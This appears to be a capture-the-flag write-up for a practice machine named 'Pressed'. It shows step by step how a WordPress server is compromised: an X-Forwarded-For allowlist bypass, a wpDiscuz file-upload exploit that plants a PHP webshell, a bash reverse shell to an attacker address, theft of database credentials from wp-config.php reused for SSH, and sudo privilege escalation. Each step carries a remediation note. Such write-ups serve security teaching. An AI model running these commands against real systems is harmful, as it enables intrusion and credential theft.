Pressed
Summary
I identified a WordPress installation on port 80 (Apache 2.4.41) whose IP-based allowlist on wp-admin and xmlrpc.php was trivially defeated by forging the X-Forwarded-For: 127.0.0.1 HTTP header. The server trusted the value the client supplied. With the block removed, WPScan enumerated the administrator account name and the wpDiscuz commenting plugin at version 7.3.2, which carries an unauthenticated arbitrary-file-upload vulnerability (CVE-2020-24186). Uploading a PHP webshell through the comment-image AJAX endpoint placed an executable file in the uploads directory and delivered a shell as the web server user www-data.
The WordPress configuration file contained the MySQL password in plaintext; that password was reused as the SSH login for a local OS account, elevating access to a user-level shell and the first flag. A sudo rule that permitted the account to run a system binary as root without a password completed the escalation to full root access and the final flag.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"Attack path: how the box was taken
Exact commands 3
Full TCP port scan with default scripts; replace $TARGET with your HTB instance IP.
$ nmap -sC -sV -p- --min-rate 5000 -oA pressed $TARGETRegister the virtual hostname discovered from the HTTP redirect.
$ echo "$TARGET pressed.htb" | sudo tee -a /etc/hostsConfirm the 403 Forbidden response that signals an IP-based allowlist.
$ curl -I http://pressed.htb/wp-admin/Exact commands 2
Confirm bypass: 302 redirect instead of 403.
$ curl -I 'http://pressed.htb/wp-admin/' -H 'X-Forwarded-For: 127.0.0.1'Confirm xmlrpc.php is also reachable with the spoofed header.
$ curl -I 'http://pressed.htb/xmlrpc.php' -H 'X-Forwarded-For: 127.0.0.1'FixImplement IP-based access control at the network layer, not via HTTP headersHigh
Exact commands 3
Enumerate all users and plugins aggressively; --api-token unlocks live CVE data.
$ wpscan --url http://pressed.htb/ -e u,ap --plugins-detection aggressive --additional-headers 'X-Forwarded-For: 127.0.0.1' --api-token <WPSCAN_API_TOKEN>Confirm unauthenticated username disclosure via the REST API.
$ curl -s 'http://pressed.htb/?rest_route=/wp/v2/users' -H 'X-Forwarded-For: 127.0.0.1' | python3 -m json.toolConfirm the wpDiscuz version number from the readme.
$ curl -s 'http://pressed.htb/wp-content/plugins/wpdiscuz/readme.txt' -H 'X-Forwarded-For: 127.0.0.1' | grep -i 'stable tag'FixRestrict WordPress user enumeration and hide plugin version stringsMedium
Exact commands 6
Extract the wmuSecurity nonce from any comment-enabled post; replace ?p=1 with a valid post URL if needed.
$ curl -s 'http://pressed.htb/?p=1' -H 'X-Forwarded-For: 127.0.0.1' | grep -oP '"wmuSecurity":"\K[^"]+'Create a minimal command-execution webshell on my machine.
$ printf '<?php system($_GET["cmd"]); ?>' > shell.phpUpload the PHP shell disguised as an image; the JSON response includes the public URL of the saved file.
$ curl -s -X POST 'http://pressed.htb/wp-admin/admin-ajax.php' -H 'X-Forwarded-For: 127.0.0.1' -F 'action=wmuUploadFiles' -F 'wmu_nonce=<NONCE>' -F 'postId=1' -F 'wmu_files[]=@shell.php;type=image/jpeg' -F 'wmuAttachmentsData={}'Confirm code execution; replace <YEAR>/<MONTH> with the path from the upload response.
$ curl -s 'http://pressed.htb/wp-content/uploads/wpdiscuz/0/<YEAR>/<MONTH>/shell.php?cmd=id' -H 'X-Forwarded-For: 127.0.0.1'Start a reverse-shell listener on my machine (run first, in a separate terminal).
$ nc -lvnp 4444Trigger the reverse shell; replace $ATTACKER_IP with the address on your HTB tun0 interface.
$ curl -s 'http://pressed.htb/wp-content/uploads/wpdiscuz/0/<YEAR>/<MONTH>/shell.php' -H 'X-Forwarded-For: 127.0.0.1' --get --data-urlencode 'cmd=bash -c "bash -i >& /dev/tcp/'"$ATTACKER_IP"'/4444 0>&1"'FixUpdate wpDiscuz to 7.3.4+ and deny PHP execution in the uploads directoryCritical
Exact commands 3
Run from the www-data reverse shell; note the DB_USER and DB_PASSWORD values.
$ cat /var/www/html/wp-config.phpExtract just the two credential lines for quick reference.
$ grep -E "define\('DB_(USER|PASSWORD)" /var/www/html/wp-config.phpList OS accounts with an interactive login shell: candidates to test the DB password against via SSH.
$ awk -F: '$7 !~ /(nologin|false)/ {print $1}' /etc/passwdFixUse unique credentials for every service; never reuse the WordPress database password as an OS loginHigh
Exact commands 2
Replace <DB_USER> with the DB_USER value from wp-config.php; enter DB_PASSWORD at the prompt.
$ ssh <DB_USER>@pressed.htbRead the first flag; value is <user.txt>.
$ cat ~/user.txtExact commands 4
List the current user's sudo rights; identify which binary can be run as root without a password.
$ sudo -lMonitor for privileged background processes and cron jobs as a cross-check; Ctrl-C after 60–90 seconds.
$ curl -sL https://github.com/DominicBreuker/pspy/releases/latest/download/pspy64 -o /tmp/pspy64 && chmod +x /tmp/pspy64 && /tmp/pspy64 -pf -i 1000Replace <BINARY> with the program shown in 'sudo -l'; look up the shell-escape technique at https://gtfobins.github.io/.
$ sudo <BINARY> <GTFOBINS_ARGS>Read the root flag from the elevated shell; value is <root.txt>.
$ cat /root/root.txtFixRemove NOPASSWD sudo entries and enforce least-privilege access for all accountsCritical
Exposed services
| 80/tcp | http Apache httpd 2.4.41 ((Ubuntu)) |